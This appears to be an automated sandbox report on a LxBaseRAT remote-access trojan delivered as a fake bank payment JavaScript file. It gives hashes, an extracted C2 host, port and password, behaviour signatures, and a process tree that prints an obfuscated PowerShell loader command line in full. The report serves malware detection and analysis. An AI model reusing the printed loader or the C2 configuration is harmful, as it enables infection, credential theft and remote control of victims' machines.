lxbaserat | 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/08/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HSBC Swift Payment.js
Size 77KB
Sample260806-e4ybesx1cs
SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
MD5 80f75e1631aa7af1c9ecc46f40cc6236
SHA1 b53aeb4a4bcbf3dfbcb6f1ad215a0a853289751e
SHA512 08b5e34b8fd2ed0c58c0b7ff661cfded9e66df5ead015473789d586db6491524ffdfd362211a812cb76a297991440c27c6634c43400e14c06eb428ff74bf487c
SSDEEP 1536:/qN4MMMvr24U8+X3YktX3mHci14t+6rkCX:/U4MMMvr24U8+X3YktX3mHci14t+6rkw
TLSH
T19773AED9557ECE792FC98C0FC665580BDAC94A027F9F700375299CCDC2283E82AA7527
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 a960186a4f0446948e640c091cf27a4d collection discovery execution lxbaserat rat spyware stealer upx

Malware Config

Extracted

Family

lxbaserat

Version

1.0.22

Botnet

Group1

Campaign

a960186a4f0446948e640c091cf27a4d

lxxlxxnew.noip.at:4055

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JhJvrFokWE5J7XGvy01o

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3948	2068	cmd.exe	84
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2428	2068	cmd.exe	84

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
14	3176	powershell.exe
15	3176	powershell.exe
37	3176	powershell.exe
57	3176	powershell.exe
59	3176	powershell.exe
74	3176	powershell.exe
59	3176	powershell.exe
93	4764	powershell.exe
94	4764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Loads dropped DLL 1 IoCs

pid	Process
1664	chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	RegAsm.exe
Key queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3176	powershell.exe
4764	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
89	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3176 set thread context of 5012	3176	powershell.exe	113

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0016000000016fc6-52.dat	upx

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3948	cmd.exe
2428	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe
5012	RegAsm.exe
5012	RegAsm.exe
3176	powershell.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
4764	powershell.exe
4764	powershell.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe
5012	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	5012	RegAsm.exe
Token: SeDebugPrivilege	4764	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5012	RegAsm.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 3176	3948	cmd.exe	87
PID 3176 wrote to memory of 3692	3176	powershell.exe	95
PID 3692 wrote to memory of 1984	3692	csc.exe	96
PID 3176 wrote to memory of 5012	3176	powershell.exe	113
PID 3176 wrote to memory of 5012	3176	powershell.exe	113
PID 3176 wrote to memory of 5012	3176	powershell.exe	113
PID 3176 wrote to memory of 5012	3176	powershell.exe	113
PID 3176 wrote to memory of 5012	3176	powershell.exe	113
PID 5012 wrote to memory of 2740	5012	RegAsm.exe	119
PID 2428 wrote to memory of 4764	2428	cmd.exe	122
PID 5012 wrote to memory of 1664	5012	RegAsm.exe	123
PID 4764 wrote to memory of 1368	4764	powershell.exe	126
PID 1368 wrote to memory of 2964	1368	csc.exe	127

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment.js"
1⤵
PID:4184

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE3B4.tmp" "c:\Users\Admin\AppData\Local\Temp\m2himbbq\CSC95FA70C4830E47A9945B80C7DD58669.TMP"
      4⤵
      PID:1984
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Accesses Microsoft Outlook profiles
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    PID:5012
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\legs.js"
      4⤵
      PID:2740
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      Loads dropped DLL
      PID:1664

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cB